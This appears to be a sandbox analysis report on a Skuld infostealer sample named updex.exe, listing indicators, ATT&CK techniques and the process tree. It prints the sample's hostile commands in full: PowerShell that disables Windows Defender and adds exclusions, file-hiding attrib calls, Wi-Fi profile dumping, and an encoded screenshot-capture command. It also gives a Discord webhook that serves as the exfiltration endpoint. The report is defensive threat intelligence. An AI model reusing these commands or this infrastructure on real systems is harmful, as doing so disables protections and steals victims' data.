skuld | d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995

Analysis

max time kernel
150s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
24-08-2024 09:40

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General

Target

updex.exe
Size

9.9MB
MD5

d00d98a03bd9a78b7ce8f77ede918b7e
SHA1

c9e7ed612aa1900f972c5c26f715c0198d32e953
SHA256

d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995
SHA512

e99a44a030f92af338d8c095ca2f10e4d1b1823545fa5af8cde8de6bb6242632d3ffff5995a3577aa0a75bd731303438030034136cc5f7116e69ccbe64199db3
SSDEEP

98304:L+v2sRfLrPSt6t/GKBvhi3DKeaJOzE7ICafZmejsEYjx:ShfLrPS9Shi3D9aEg2wjx

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1275305712578330737/ZalWpwJCemRihEDHYR7eDBQulhrbujH6uOKIzKIC7c3ieh5gpbHX77qCSy-LcQ1k8T7_

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1448 powershell.exe
2952 powershell.exe

pid	process
1448	powershell.exe
2952	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeupdex.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updex.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

updex.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	updex.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

31 discord.com
34 discord.com
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 api.ipify.org
3 api.ipify.org
7 ip-api.com

flow	ioc
31	discord.com
34	discord.com

flow	ioc
2	api.ipify.org
3	api.ipify.org
7	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

updex.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	updex.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	updex.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.exe

pid process

3656 netsh.exe
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exewmic.exe

pid process

2352 wmic.exe
444 wmic.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 26 Go-http-client/1.1

pid	process
3656	netsh.exe

pid	process
2352	wmic.exe
444	wmic.exe

description	flow	ioc
HTTP User-Agent header	26	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

updex.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	updex.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	updex.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	updex.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

updex.exepowershell.exepowershell.exe

pid	process
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
1448	powershell.exe
1448	powershell.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
2952	powershell.exe
3736	updex.exe
3736	updex.exe
2952	powershell.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe
3736	updex.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

updex.exewmic.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	3736	updex.exe
Token: SeIncreaseQuotaPrivilege	4424	wmic.exe
Token: SeSecurityPrivilege	4424	wmic.exe
Token: SeTakeOwnershipPrivilege	4424	wmic.exe
Token: SeLoadDriverPrivilege	4424	wmic.exe
Token: SeSystemProfilePrivilege	4424	wmic.exe
Token: SeSystemtimePrivilege	4424	wmic.exe
Token: SeProfSingleProcessPrivilege	4424	wmic.exe
Token: SeIncBasePriorityPrivilege	4424	wmic.exe
Token: SeCreatePagefilePrivilege	4424	wmic.exe
Token: SeBackupPrivilege	4424	wmic.exe
Token: SeRestorePrivilege	4424	wmic.exe
Token: SeShutdownPrivilege	4424	wmic.exe
Token: SeDebugPrivilege	4424	wmic.exe
Token: SeSystemEnvironmentPrivilege	4424	wmic.exe
Token: SeRemoteShutdownPrivilege	4424	wmic.exe
Token: SeUndockPrivilege	4424	wmic.exe
Token: SeManageVolumePrivilege	4424	wmic.exe
Token: 33	4424	wmic.exe
Token: 34	4424	wmic.exe
Token: 35	4424	wmic.exe
Token: 36	4424	wmic.exe
Token: SeIncreaseQuotaPrivilege	4424	wmic.exe
Token: SeSecurityPrivilege	4424	wmic.exe
Token: SeTakeOwnershipPrivilege	4424	wmic.exe
Token: SeLoadDriverPrivilege	4424	wmic.exe
Token: SeSystemProfilePrivilege	4424	wmic.exe
Token: SeSystemtimePrivilege	4424	wmic.exe
Token: SeProfSingleProcessPrivilege	4424	wmic.exe
Token: SeIncBasePriorityPrivilege	4424	wmic.exe
Token: SeCreatePagefilePrivilege	4424	wmic.exe
Token: SeBackupPrivilege	4424	wmic.exe
Token: SeRestorePrivilege	4424	wmic.exe
Token: SeShutdownPrivilege	4424	wmic.exe
Token: SeDebugPrivilege	4424	wmic.exe
Token: SeSystemEnvironmentPrivilege	4424	wmic.exe
Token: SeRemoteShutdownPrivilege	4424	wmic.exe
Token: SeUndockPrivilege	4424	wmic.exe
Token: SeManageVolumePrivilege	4424	wmic.exe
Token: 33	4424	wmic.exe
Token: 34	4424	wmic.exe
Token: 35	4424	wmic.exe
Token: 36	4424	wmic.exe
Token: SeIncreaseQuotaPrivilege	2352	wmic.exe
Token: SeSecurityPrivilege	2352	wmic.exe
Token: SeTakeOwnershipPrivilege	2352	wmic.exe
Token: SeLoadDriverPrivilege	2352	wmic.exe
Token: SeSystemProfilePrivilege	2352	wmic.exe
Token: SeSystemtimePrivilege	2352	wmic.exe
Token: SeProfSingleProcessPrivilege	2352	wmic.exe
Token: SeIncBasePriorityPrivilege	2352	wmic.exe
Token: SeCreatePagefilePrivilege	2352	wmic.exe
Token: SeBackupPrivilege	2352	wmic.exe
Token: SeRestorePrivilege	2352	wmic.exe
Token: SeShutdownPrivilege	2352	wmic.exe
Token: SeDebugPrivilege	2352	wmic.exe
Token: SeSystemEnvironmentPrivilege	2352	wmic.exe
Token: SeRemoteShutdownPrivilege	2352	wmic.exe
Token: SeUndockPrivilege	2352	wmic.exe
Token: SeManageVolumePrivilege	2352	wmic.exe
Token: 33	2352	wmic.exe
Token: 34	2352	wmic.exe
Token: 35	2352	wmic.exe
Token: 36	2352	wmic.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

updex.exepowershell.execsc.exe

description	pid	process	target process
PID 3736 wrote to memory of 4748	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 4748	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 3088	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 3088	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 4424	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 4424	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 2352	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 2352	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 1448	3736	updex.exe	powershell.exe
PID 3736 wrote to memory of 1448	3736	updex.exe	powershell.exe
PID 3736 wrote to memory of 4776	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 4776	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 2952	3736	updex.exe	powershell.exe
PID 3736 wrote to memory of 2952	3736	updex.exe	powershell.exe
PID 3736 wrote to memory of 8	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 8	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 444	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 444	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 4664	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 4664	3736	updex.exe	wmic.exe
PID 3736 wrote to memory of 3996	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 3996	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 2560	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 2560	3736	updex.exe	attrib.exe
PID 3736 wrote to memory of 3656	3736	updex.exe	netsh.exe
PID 3736 wrote to memory of 3656	3736	updex.exe	netsh.exe
PID 3736 wrote to memory of 4784	3736	updex.exe	powershell.exe
PID 3736 wrote to memory of 4784	3736	updex.exe	powershell.exe
PID 4784 wrote to memory of 800	4784	powershell.exe	csc.exe
PID 4784 wrote to memory of 800	4784	powershell.exe	csc.exe
PID 800 wrote to memory of 3584	800	csc.exe	cvtres.exe
PID 800 wrote to memory of 3584	800	csc.exe	cvtres.exe

Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

4748 attrib.exe
3088 attrib.exe
3996 attrib.exe
2560 attrib.exe

pid	process
4748	attrib.exe
3088	attrib.exe
3996	attrib.exe
2560	attrib.exe

C:\Users\Admin\AppData\Local\Temp\updex.exe
"C:\Users\Admin\AppData\Local\Temp\updex.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\updex.exe
  2⤵
  - Views/modifies file attributes
  PID:4748
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:3088
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\updex.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1448
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2952
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:8
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:444
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4664
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3996
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2560
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rfcxyar4\rfcxyar4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA884.tmp" "c:\Users\Admin\AppData\Local\Temp\rfcxyar4\CSC9DCEC829FA0E4DD8A517544E576FABA5.TMP"
      4⤵
      PID:3584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

